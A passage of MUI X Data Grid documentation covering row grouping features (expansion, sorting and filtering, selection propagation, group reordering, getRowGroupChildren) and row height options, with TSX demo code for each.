        initialState={initialState}
      />
    </div>
  );
}

```

## Group expansion

By default, all groups are initially displayed collapsed.
You can change this behavior by setting the `defaultGroupingExpansionDepth` prop to expand all the groups up to a given depth when loading the data.
To expand the whole tree, set `defaultGroupingExpansionDepth = -1`.

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingDefaultExpansionDepth() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        defaultGroupingExpansionDepth={-1}
        disableRowSelectionOnClick
        initialState={initialState}
      />
    </div>
  );
}

```

Use the `isGroupExpandedByDefault()` prop to expand groups by default according to more complex logic.
This prop is a callback that receives a node as an argument.
When defined, this callback always takes priority over the `defaultGroupingExpansionDepth` prop.

```tsx
isGroupExpandedByDefault={
  node => node.groupingField === 'company' && node.groupingKey === '20th Century Fox'
}
```

The example below uses this pattern to render the Grid with the **20th Century Fox** group expanded:

```tsx
import {
  DataGridPremium,
  GridGroupNode,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const isGroupExpandedByDefault = (node: GridGroupNode) =>
  node.groupingField === 'company' && node.groupingKey === '20th Century Fox';

export default function RowGroupingIsGroupExpandedByDefault() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        isGroupExpandedByDefault={isGroupExpandedByDefault}
        disableRowSelectionOnClick
        initialState={initialState}
      />
    </div>
  );
}

```

Use the `setRowChildrenExpansion()` method on [the `apiRef` object](#apiref) to programmatically set the expansion of a row.
Changing the expansion of a row emits a `rowExpansionChange` event that you can listen for to react to the expansion change.

The demo below uses this pattern to implement the expansion toggle button:

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GRID_ROOT_GROUP_ID,
  GridGroupNode,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';

const debug = (params: GridGroupNode) =>
  console.info('Row expansion changed for row ', params.id);

export default function RowGroupingSetChildrenExpansion() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  React.useEffect(() => {
    apiRef.current?.subscribeEvent('rowExpansionChange', debug);
  }, [apiRef]);

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company'],
      },
    },
  });

  const toggle2ndGroup = () => {
    const groups =
      apiRef.current?.getRowNode<GridGroupNode>(GRID_ROOT_GROUP_ID)!.children;

    if (groups && groups.length > 1) {
      const groupId = groups[1];
      apiRef.current?.setRowChildrenExpansion(
        groupId,
        !apiRef.current.getRowNode<GridGroupNode>(groupId)!.childrenExpanded,
      );
    }
  };

  return (
    <Box sx={{ width: '100%' }}>
      <Button size="small" onClick={toggle2ndGroup}>
        Toggle 2nd row expansion
      </Button>
      <Box sx={{ height: 400, pt: 1 }}>
        <DataGridPremium
          {...data}
          apiRef={apiRef}
          disableRowSelectionOnClick
          initialState={initialState}
        />
      </Box>
    </Box>
  );
}

```

:::warning
The `apiRef.current.setRowChildrenExpansion()` method is not compatible with [server-side tree data](/x/react-data-grid/server-side-data/tree-data/) or [server-side row grouping](/x/react-data-grid/server-side-data/row-grouping/).
Use `apiRef.current.dataSource.fetchRows()` instead.
:::

### Customize grouping cell indent

Use the `--DataGrid-cellOffsetMultiplier` CSS variable to change the default cell indentation, as shown here:

```tsx
<DataGridPremium
  sx={{
    // default value is 2
    '--DataGrid-cellOffsetMultiplier': 6,
  }}
/>
```

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingCustomCellIndent() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        sx={{
          '--DataGrid-cellOffsetMultiplier': 6,
        }}
        apiRef={apiRef}
        initialState={initialState}
      />
    </div>
  );
}

```

## Sorting and filtering

### Single grouping column

When using `rowGroupingColumnMode = "single"`, the default behavior is to sort each grouping criterion using the column's `sortComparator`, then apply the `filterOperators` from the top-level grouping criteria.

If you're rendering leaves with the `leafField` property of the `groupingColDef`, then sorting and filtering will be applied on the leaves based on the `sortComparator` and `filterOperators` of their original column.

You can force the filtering to be applied to other grouping criteria using the `mainGroupingCriteria` property of `groupingColDef`.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import Box from '@mui/material/Box';
import MenuItem from '@mui/material/MenuItem';
import FormControl from '@mui/material/FormControl';
import InputLabel from '@mui/material/InputLabel';
import Select from '@mui/material/Select';

export default function RowGroupingFilteringSingleGroupingColDef() {
  const data = useMovieData();
  const [mainGroupingCriteria, setMainGroupingCriteria] =
    React.useState<string>('undefined');

  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> =
    React.useMemo(
      () => ({
        mainGroupingCriteria:
          mainGroupingCriteria === 'undefined' ? undefined : mainGroupingCriteria,
      }),
      [mainGroupingCriteria],
    );

  return (
    <Box sx={{ width: '100%' }}>
      <FormControl fullWidth>
        <InputLabel
          htmlFor="main-grouping-criteria"
          id="main-grouping-criteria-label"
        >
          Main grouping criteria
        </InputLabel>
        <Select
          label="Main grouping criteria"
          onChange={(event) => setMainGroupingCriteria(event.target.value)}
          value={mainGroupingCriteria}
          id="main-grouping-criteria"
          labelId="main-grouping-criteria-label"
        >
          <MenuItem value="undefined">Default behavior</MenuItem>
          <MenuItem value="company">Company</MenuItem>
          <MenuItem value="director">Director</MenuItem>
        </Select>
      </FormControl>
      <Box sx={{ height: 400, pt: 1 }}>
        <DataGridPremium
          {...data}
          apiRef={apiRef}
          disableRowSelectionOnClick
          defaultGroupingExpansionDepth={-1}
          initialState={initialState}
          groupingColDef={groupingColDef}
        />
      </Box>
    </Box>
  );
}

```

### Multiple grouping columns

When using `rowGroupingColumnMode = "multiple"`, the default behavior is to apply the `sortComparator` and `filterOperators` of the grouping criteria of each grouping column.

If you're rendering leaves in one of those columns with the `leafField` property of `groupingColDef`, then sorting and filtering will be applied on the leaves for this grouping column based on the `sortComparator` and `filterOperators` of their original column.

If you want to render leaves but apply the sorting and filtering on the grouping criteria of the column, you can force it by setting the `mainGroupingCriteria` property `groupingColDef` to be equal to the grouping criteria.

In the example below, sorting and filtering from the **Company** grouping column are applied to the `company` field, while sorting and filtering from the **Director** grouping column are applied to the `director` field even though it has leaves.

```tsx
import {
  DataGridPremium,
  GridGroupingColDefOverrideParams,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const groupingColDef = (params: GridGroupingColDefOverrideParams) =>
  params.fields.includes('director')
    ? {
        leafField: 'title',
        mainGroupingCriteria: 'director',
      }
    : {};

export default function RowGroupingSortingMultipleGroupingColDef() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        disableRowSelectionOnClick
        defaultGroupingExpansionDepth={-1}
        initialState={initialState}
        rowGroupingColumnMode="multiple"
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

:::warning
If you're dynamically switching the `leafField` or `mainGroupingCriteria`, sorting and filtering models will not be cleaned up automatically, and the sorting or filtering will not be reapplied.
:::

## Automatic parent and child selection

By default, selecting a parent row also selects all of its descendants.
You can customize this behavior using the `rowSelectionPropagation` prop.
Here's how it's structured:

```ts
type GridRowSelectionPropagation = {
  descendants?: boolean; // default: true
  parents?: boolean; // default: true
};
```

When `rowSelectionPropagation.descendants` is set to `true`:

- Selecting a parent selects all of its filtered descendants automatically
- Deselecting a parent row deselects of all its filtered descendants automatically

When `rowSelectionPropagation.parents` is set to `true`:

- Selecting all the filtered descendants of a parent also selects the parent automatically
- Deselecting a descendant of a selected parent also deselects the parent automatically

The example below demonstrates the usage of the `rowSelectionPropagation` prop—use the checkboxes at the top to see how the selection behavior changes between parents and children.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
  GridRowSelectionPropagation,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import Stack from '@mui/material/Stack';

export default function RowGroupingPropagateSelection() {
  const data = useMovieData();
  const apiRef = useGridApiRef();
  const [rowSelectionPropagation, setRowSelectionPropagation] =
    React.useState<GridRowSelectionPropagation>({
      parents: false,
      descendants: false,
    });

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ width: '100%' }}>
      <Stack direction="row" spacing={2}>
        <FormControlLabel
          control={
            <Checkbox
              checked={rowSelectionPropagation.descendants}
              onChange={(event) =>
                setRowSelectionPropagation((prev) => ({
                  ...prev,
                  descendants: event.target.checked,
                }))
              }
            />
          }
          label="Auto-select descendants"
        />
        <FormControlLabel
          control={
            <Checkbox
              checked={rowSelectionPropagation.parents}
              onChange={(event) =>
                setRowSelectionPropagation((prev) => ({
                  ...prev,
                  parents: event.target.checked,
                }))
              }
            />
          }
          label="Auto-select parents"
        />
      </Stack>
      <div style={{ height: 400 }}>
        <DataGridPremium
          {...data}
          apiRef={apiRef}
          initialState={initialState}
          checkboxSelection
          rowSelectionPropagation={rowSelectionPropagation}
        />
      </div>
    </div>
  );
}

```

Row selection propagation also affects the **Select all** checkbox like any other checkbox group.
Selected rows that do not pass the filtering criteria are automatically deselected when the filter is applied.
Row selection propagation is not applied to the unfiltered rows.

:::warning
Row selection propagation has some limitations:

- If `props.disableMultipleRowSelection` is set to `true`, then row selection propagation won't apply.

- Row selection propagation is a client-side feature and does not support [server-side data](/x/react-data-grid/server-side-data/).

- If you're using the state setter method `apiRef.current.setRowSelectionModel()`, you must explicitly compute the selection model with the rows that have propagation changes applied using `apiRef.current.getPropagatedRowSelectionModel()` and pass it as shown below:

  ```ts
  const selectionModelWithPropagation =
    apiRef.current.getPropagatedRowSelectionModel({
      type: 'include',
      ids: new Set([1, 2, 3]),
    });
  apiRef.current.setRowSelectionModel(selectionModelWithPropagation);
  ```

  See [the `apiRef` section below](/x/react-data-grid/row-selection/#apiref) for the signatures of these methods.

- If you're using the `keepNonExistentRowsSelected` prop, then row selection propagation will not automatically apply to the rows being added that were part of the selection model but didn't exist in the previous rows.
  Consider opening a [GitHub issue](https://github.com/mui/mui-x/issues/new?template=2.feature.yml) if you need this behavior.

:::

## Drag-and-drop group reordering

With row reordering, users can reorder row groups or move rows from one group to another.
To enable this feature with row grouping, pass the `rowReordering` prop to the Data Grid Premium component:

```tsx
<DataGridPremium rowGroupingModel={['category']} rowReordering />
```

```tsx
import {
  DataGridPremium,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

export default function RowGroupingReordering() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        initialState={initialState}
        rowReordering
      />
    </div>
  );
}

```

### Reacting to group updates

When a row is moved from one group to another, it warrants a row update, and the row data value that was used to group this row must be updated to maintain the row grouping data integrity.

For example, in a Data Grid displaying movies grouped by companies, if the **Avatar** row is moved from **20th Century Fox** to the **Disney Studios** group, along with the row being updated in the row tree, the row data must be updated to reflect this change.

```diff
 // "Avatar" row
 {
  title: 'Avatar',
- company: '20th Century Fox',
+ company: 'Disney Studios',
  ...
 }
```

The Data Grid updates the internal row data, but for the change to persist on the server, you must use the [`processRowUpdate()`](/x/react-data-grid/editing/persistence/#the-processrowupdate-callback) callback.

When moving a nested group to a different parent on the same depth, there will be multiple `processRowUpdate()` calls for all the leaf descendants of the dragged group. In case some of them fail, you might see the parent node appearing in both places. Consider using the `onProcessRowUpdateError()` to show the proper feedback to the user.

### Usage with groupingValueSetter()

If you use [`colDef.groupingValueGetter()`](#using-groupingvaluegetter-for-complex-grouping-value) to handle complex grouping values and you want to group across rows, you must use the `colDef.groupingValueSetter()` to properly convert back the simple value to the complex one.

This method should return the updated row based on the groupKey (`value`) that corresponds to the target group.

```ts
const columns: GridColDef[] = [
  {
    field: 'composer',
    valueGetter: (value) => value?.name,
    groupingValueSetter: (value, row) => ({
      ...row,
      composer: {
        ...row.composer,
        name: value,
      },
    }),
  },
  // ...
];
```

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  useGridApiRef,
  GridColDef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useMovieData, Movie } from '@mui/x-data-grid-generator';

export default function RowGroupingGroupingValueSetter() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const columnsWithComposer = React.useMemo<GridColDef[]>(
    () => [
      ...data.columns,
      {
        field: 'composer',
        headerName: 'Composer',
        valueGetter: (value: { name: string }) => value?.name,
        groupingValueSetter: (value, row) => {
          return {
            ...row,
            composer: {
              ...row.composer,
              name: value,
            },
          };
        },
        width: 200,
      } as GridColDef<Movie, string>,
      {
        field: 'decade',
        headerName: 'Decade',
        valueGetter: (_, row) => (row.year ? Math.floor(row.year / 10) * 10 : null),
        groupingValueSetter: (value, row) => ({
          ...row,
          // Since converting to decade is a lossy operation, directly using the decade value should be sufficient here
          year: value,
        }),
        valueFormatter: (value: number | null) =>
          value ? `${value.toString().slice(-2)}'s` : '',
      } as GridColDef<Movie, number, string>,
    ],
    [data.columns],
  );

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['composer', 'decade'],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        columns={columnsWithComposer}
        apiRef={apiRef}
        initialState={initialState}
        rowReordering
      />
    </div>
  );
}

```

## Get all rows in a group

Use the `apiRef.current.getRowGroupChildren()` method to get the IDs of all rows in a group.
The results will not contain autogenerated rows such as subgroup rows or aggregation footers.

```ts
const rows: GridRowId[] = apiRef.current.getRowGroupChildren({
  groupId: params.id,

  // If true, the rows will be in the order displayed on screen
  applySorting: true,

  // If true, only the rows matching the current filters will be returned
  applyFiltering: true,
});
```

Use `getGroupRowIdFromPath()` to get row IDs from within all groups that match a given grouping criterion:

```ts
const rows = apiRef.current.getRowGroupChildren({
  groupId: getGroupRowIdFromPath([{ field: 'company', key: 'Disney Studios' }]),
});
```

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridEventListener,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { Movie, useMovieData } from '@mui/x-data-grid-generator';
import Alert from '@mui/material/Alert';

export default function RowGroupingGetRowGroupChildren() {
  const data = useMovieData();
  const apiRef = useGridApiRef();

  const [lastGroupClickedChildren, setLastGroupClickedChildren] = React.useState<
    string[] | null
  >(null);

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      rowGrouping: {
        model: ['company', 'director'],
      },
    },
  });

  const handleRowClick = React.useCallback<GridEventListener<'rowClick'>>(
    (params) => {
      // Only log groups
      if (apiRef.current?.getRowNode(params.id)?.type !== 'group') {
        return;
      }

      const rowIds = apiRef.current.getRowGroupChildren({
        groupId: params.id,
      });

      const rowTitles = rowIds.map(
        (rowId) => apiRef.current!.getRow<Movie>(rowId)!.title,
      );

      setLastGroupClickedChildren(rowTitles);
    },
    [apiRef],
  );

  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 400, width: '100%' }}>
        <DataGridPremium
          {...data}
          apiRef={apiRef}
          onRowClick={handleRowClick}
          hideFooter
          initialState={initialState}
        />
      </div>
      <Alert severity="info" sx={{ mb: 1 }}>
        {lastGroupClickedChildren ? (
          <code>
            Movies in the last group clicked
            <br />
            <br />
            {lastGroupClickedChildren.map((movieTitle) => (
              <React.Fragment>
                - {movieTitle}
                <br />
              </React.Fragment>
            ))}
          </code>
        ) : (
          <code>Click on a group row to log its children here</code>
        )}
      </Alert>
    </div>
  );
}

```

:::warning
The `apiRef.current.getRowGroupChildren()` method is not compatible with [server-side row grouping](/x/react-data-grid/server-side-data/row-grouping/) because not all rows may be available to retrieve in any given instance.
:::

## Row group panel 🚧

:::warning
This feature isn't available yet, but it is planned—you can 👍 upvote [this GitHub issue](https://github.com/mui/mui-x/issues/5235) to help us prioritize it.
Please don't hesitate to leave a comment there to describe your needs, especially if you have a use case we should address or you're facing specific pain points with your current solution.
:::

With the row group panel, users would be able to control which columns are used for grouping by dragging them inside the panel.

## Advanced use cases

The demo below provides an example of row grouping that's closer to a real-world use case for this feature, grouping a large dataset of contacts based on the types of goods they provide (via the hidden **Commodity** column).

See [Row grouping recipes](/x/react-data-grid/recipes-row-grouping/) for more advanced use cases.

```tsx
import {
  DataGridPremium,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
  GridGroupingColDefOverride,
  GridValidRowModel,
  useGridApiRef,
  useKeepGroupedColumnsHidden,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

const groupingColDef: GridGroupingColDefOverride<GridValidRowModel> = {
  leafField: 'traderEmail',
};

export default function RowGroupingFullExample() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 25,
  });
  const apiRef = useGridApiRef();

  const initialState = useKeepGroupedColumnsHidden({
    apiRef,
    initialState: {
      ...data.initialState,
      rowGrouping: {
        ...data.initialState?.rowGrouping,
        model: ['commodity'],
      },
      sorting: {
        sortModel: [{ field: GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD, sort: 'asc' }],
      },
    },
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPremium
        {...data}
        apiRef={apiRef}
        loading={loading}
        disableRowSelectionOnClick
        initialState={initialState}
        groupingColDef={groupingColDef}
      />
    </div>
  );
}

```

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the row grouping feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-row-grouping-api.json';

export default function RowGroupingApiNoSnap() {
  return <ApiDocs premiumApi={api} />;
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/row-height.md

# Data Grid - Row height

Customize the height of your rows.

## Static row height

By default, the rows have a height of 52 pixels.
This matches the normal height in the [Material Design guidelines](https://m2.material.io/components/data-tables).

Use the `rowHeight` prop to change this default value, as shown below:

```tsx
import { DataGrid } from '@mui/x-data-grid';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function DenseHeightGrid() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid rowHeight={25} {...data} loading={loading} />
    </div>
  );
}

```

## Variable row height

If you need some rows to have different row heights, this can be achieved using the `getRowHeight` prop.
This function is called for each visible row and if the return value is a `number` then that `number` will be set as that row's `rowHeight`.
If the return value is `null` or `undefined`, then the `rowHeight` prop will take effect for the given row.

```tsx
import * as React from 'react';
import {
  DataGrid,
  GridRowHeightParams,
  GridColDef,
  GridDensity,
  Toolbar,
  ToolbarButton,
  useGridApiContext,
  useGridSelector,
  gridDensitySelector,
} from '@mui/x-data-grid';
import Tooltip from '@mui/material/Tooltip';
import Menu from '@mui/material/Menu';
import MenuItem from '@mui/material/MenuItem';
import ListItemIcon from '@mui/material/ListItemIcon';
import ListItemText from '@mui/material/ListItemText';
import CheckIcon from '@mui/icons-material/Check';
import SettingsIcon from '@mui/icons-material/Settings';
import { randomInt, randomUserName } from '@mui/x-data-grid-generator';

const DENISTY_OPTIONS: { label: string; value: GridDensity }[] = [
  { label: 'Compact density', value: 'compact' },
  { label: 'Standard density', value: 'standard' },
  { label: 'Comfortable density', value: 'comfortable' },
];

function CustomToolbar() {
  const apiRef = useGridApiContext();
  const density = useGridSelector(apiRef, gridDensitySelector);
  const [densityMenuOpen, setDensityMenuOpen] = React.useState(false);
  const densityMenuTriggerRef = React.useRef<HTMLButtonElement>(null);

  return (
    <Toolbar>
      <Tooltip title="Settings">
        <ToolbarButton
          ref={densityMenuTriggerRef}
          id="density-menu-trigger"
          aria-controls="density-menu"
          aria-haspopup="true"
          aria-expanded={densityMenuOpen ? 'true' : undefined}
          onClick={() => setDensityMenuOpen(true)}
        >
          <SettingsIcon fontSize="small" sx={{ ml: 'auto' }} />
        </ToolbarButton>
      </Tooltip>

      <Menu
        id="density-menu"
        anchorEl={densityMenuTriggerRef.current}
        open={densityMenuOpen}
        onClose={() => setDensityMenuOpen(false)}
        MenuListProps={{
          'aria-labelledby': 'density-menu-trigger',
        }}
      >
        {DENISTY_OPTIONS.map((option) => (
          <MenuItem
            key={option.value}
            onClick={() => {
              apiRef.current.setDensity(option.value);
              setDensityMenuOpen(false);
            }}
          >
            <ListItemIcon>
              {density === option.value && <CheckIcon fontSize="small" />}
            </ListItemIcon>
            <ListItemText>{option.label}</ListItemText>
          </MenuItem>
        ))}
      </Menu>
    </Toolbar>
  );
}

let idCounter = 0;
const createRandomRow = () => {
  idCounter += 1;
  return { id: idCounter, username: randomUserName(), age: randomInt(10, 80) };
};

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'username', width: 150 },
  { field: 'age', width: 80, type: 'number' },
];

const rows = [
  createRandomRow(),
  createRandomRow(),
  createRandomRow(),
  createRandomRow(),
  createRandomRow(),
];

export default function VariableRowHeightGrid() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        getRowHeight={({ id, densityFactor }: GridRowHeightParams) => {
          if ((id as number) % 2 === 0) {
            return 100 * densityFactor;
          }

          return null;
        }}
        slots={{
          toolbar: CustomToolbar,
        }}
        showToolbar
      />
    </div>
  );
}

```

:::warning
Changing the Data Grid density does not affect the rows with variable row height.
You can access the density factor from the params provided to the `getRowHeight` prop
:::

:::warning
Always memoize the function provided to `getRowHeight`.
The Data Grid bases on the referential value of these props to cache their values and optimize the rendering.
:::

```tsx
const getRowHeight = React.useCallback(() => { ... }, []);

<DataGridPro getRowHeight={getRowHeight} />
```

## Dynamic row height

Instead of a fixed row height, you can let the Data Grid calculate the height of each row based on its content.
To do so, return `"auto"` on the function passed to the `getRowHeight` prop.

```tsx
<DataGrid getRowHeight={() => 'auto'} />
```

The following demo shows this feature in action:

```tsx
import Box from '@mui/material/Box';
import { DataGrid, gridClasses, GridColDef } from '@mui/x-data-grid';
import {
  randomInt,
  randomUserName,
  randomArrayItem,
} from '@mui/x-data-grid-generator';

const lines = [
  'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
  'Aliquam dapibus, lorem vel mattis aliquet, purus lorem tincidunt mauris, in blandit quam risus sed ipsum.',
  'Maecenas non felis venenatis, porta velit quis, consectetur elit.',
  'Vestibulum commodo et odio a laoreet.',
  'Nullam cursus tincidunt auctor.',
  'Sed feugiat venenatis nulla, sit amet dictum nulla convallis sit amet.',
  'Nulla venenatis justo non felis vulputate, eu mollis metus ornare.',
  'Nam ullamcorper ligula id consectetur auctor.',
  'Phasellus et ultrices dui.',
  'Fusce facilisis egestas massa, et eleifend magna imperdiet et.',
  'Pellentesque ac metus velit.',
  'Vestibulum in massa nibh.',
  'Vestibulum pulvinar aliquam turpis, ac faucibus risus varius a.',
];

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'username', width: 150 },
  { field: 'age', width: 80, type: 'number' },
  { field: 'bio', width: 400 },
];

const rows: object[] = [];

for (let i = 0; i < 200; i += 1) {
  const bio = [];

  for (let j = 0; j < randomInt(1, 5); j += 1) {
    bio.push(randomArrayItem(lines));
  }

  rows.push({
    id: i,
    username: randomUserName(),
    age: randomInt(10, 80),
    bio: bio.join(' '),
  });
}

export default function DynamicRowHeightGrid() {
  return (
    <Box sx={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        getRowHeight={() => 'auto'}
        sx={{
          [`& .${gridClasses.cell}`]: {
            py: 1,
          },
        }}
      />
    </Box>
  );
}

```

The dynamic row height implementation is based on a lazy approach, which means that the rows are measured as they are rendered.
Because of this, you may see the size of the scrollbar thumb changing during scroll.
This side effect happens because a row height estimation is used while a row is not rendered, then this value is replaced once the true measurement is obtained.
You can configure the estimated value used by passing a function to the `getEstimatedRowHeight` prop.
If not provided, the default row height of `52px` is used as estimation.
It's recommended to pass this prop if the content deviates too much from the default value.

```tsx
<DataGrid getRowHeight={() => 'auto'} getEstimatedRowHeight={() => 200} />
```

```tsx
import * as React from 'react';
import { DataGrid, GridRenderCellParams, GridColDef } from '@mui/x-data-grid';
import Link from '@mui/material/Link';
import {
  randomInt,
  randomUserName,
  randomArrayItem,
} from '@mui/x-data-grid-generator';

const lines = [
  'Lorem ipsum dolor sit amet, consectetur adipiscing elit.',
  'Aliquam dapibus, lorem vel mattis aliquet, purus lorem tincidunt mauris, in blandit quam risus sed ipsum.',
  'Maecenas non felis venenatis, porta velit quis, consectetur elit.',
  'Vestibulum commodo et odio a laoreet.',
  'Nullam cursus tincidunt auctor.',
  'Sed feugiat venenatis nulla, sit amet dictum nulla convallis sit amet.',
  'Nulla venenatis justo non felis vulputate, eu mollis metus ornare.',
  'Nam ullamcorper ligula id consectetur auctor.',
  'Phasellus et ultrices dui.',
  'Fusce facilisis egestas massa, et eleifend magna imperdiet et.',
  'Pellentesque ac metus velit.',
  'Vestibulum in massa nibh.',
  'Vestibulum pulvinar aliquam turpis, ac faucibus risus varius a.',
];

function ExpandableCell({ value }: GridRenderCellParams) {
  const [expanded, setExpanded] = React.useState(false);

  return (
    <div>
      {expanded ? value : value.slice(0, 200)}&nbsp;
      {value.length > 200 && (
        <Link
          type="button"
          component="button"
          sx={{ fontSize: 'inherit', letterSpacing: 'inherit' }}
          onClick={() => setExpanded(!expanded)}
        >
          {expanded ? 'view less' : 'view more'}
        </Link>
      )}
    </div>
  );
}

const columns: GridColDef[] = [
  { field: 'id' },
  { field: 'username' },
  { field: 'age', type: 'number' },
  {
    field: 'bio',
    width: 400,
    renderCell: (params: GridRenderCellParams) => <ExpandableCell {...params} />,
  },
];

const rows: object[] = [];

for (let i = 0; i < 10; i += 1) {
  const bio = [];

  for (let j = 0; j < randomInt(3, 8); j += 1) {
    bio.push(randomArrayItem(lines));
  }

  rows.push({
    id: i,
    username: randomUserName(),
    age: randomInt(10, 80),
    bio: bio.join(' '),
  });
}

export default function ExpandableCells() {
  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGrid
        rows={rows}
        columns={columns}
        getEstimatedRowHeight={() => 100}
        getRowHeight={() => 'auto'}
        showToolbar
        sx={{
          '&.MuiDataGrid-root--densityCompact .MuiDataGrid-cell': {
            py: 1,
          },
          '&.MuiDataGrid-root--densityStandard .MuiDataGrid-cell': {
            py: '15px',
          },
          '&.MuiDataGrid-root--densityComfortable .MuiDataGrid-cell': {
            py: '22px',
          },
        }}
      />
    </div>
  );
}

```

:::warning
When the height of a row is set to `"auto"`, the final height will follow exactly the content size and ignore the density.
Add padding to the cells to increase the space between the content and the cell borders.

```tsx
<DataGrid
  sx={{
    '&.MuiDataGrid-root--densityCompact .MuiDataGrid-cell': { py: '8px' },
    '&.MuiDataGrid-root--densityStandard .MuiDataGrid-cell': { py: '15px' },
    '&.MuiDataGrid-root--densityComfortable .MuiDataGrid-cell': { py: '22px' },
  }}
/>
```

:::

### Column virtualization

By default, the virtualization of the columns is disabled to force all columns to be rendered at the same time and calculate the row height correctly.
However, this can lead to poor performance when rendering a lot of columns.

If you need column virtualization, you can set the `virtualizeColumnsWithAutoRowHeight` prop to `true`.
With this approach, the Data Grid measures the row height based on the visible columns.
However, the row height might change during horizontal scrolling.

```tsx
import * as React from 'react';
import { DataGrid, GridColDef, GridRowId } from '@mui/x-data-grid';

export interface DataRowModel {
  id: GridRowId;
  [price: string]: number | string;
}

export interface GridData {
